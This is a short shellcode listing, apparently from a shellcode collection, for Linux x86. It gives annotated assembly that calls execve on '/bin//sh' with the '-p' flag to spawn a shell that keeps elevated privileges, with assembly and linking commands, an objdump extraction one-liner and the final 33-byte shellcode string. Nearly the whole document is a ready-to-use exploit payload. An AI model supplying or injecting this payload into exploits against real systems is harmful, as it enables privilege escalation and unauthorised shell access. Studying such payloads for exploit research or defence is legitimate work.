execve(“/bin/sh”, [“/bin/sh”, “-p”], 0) - Spawn shell maintaining privileges


OS: Linux

Architecture: Intel x86

Length: 33 bytes


Assembly

section .text
global _start

_start:
	xor eax, eax		; null eax
	push eax		; push null terminator
	push 0x68732f2f		; push "//sh"
	push 0x6e69622f		; push "/bin"
	mov ebx, esp		; move pointer to "/bin//sh" into ebx

	push eax		; push null terminator
	push word 0x702d	; push "-p"
	mov ecx, esp		; move pointer to "-p" into ecx

	push eax		; push null terminator
	push ecx		; push pointer to "-p"
	push ebx		; push pointer to "/bin//sh"
	mov ecx, esp		; move array of pointers {"/bin//sh", "-p"} into ecx

	xor edx, edx		; null edx
	mov al, 0xb		; move execve syscall number into al (eax)
	int 0x80		; call execve

Compilation and Linking

# Assemble
nasm -f elf -o code.o code.asm

# Link
ld -m elf_i386 -o code code.o

# Extract Shellcode
printf '\\x' && objdump -d code | grep "^ " | cut -f2 | tr -d ' ' | tr -d '\n' | sed 's/.\{2\}/&\\x /g'| head -c-3 | tr -d ' ' && echo ' '

Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x66\x68\x2d\x70\x89\xe1\x50\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80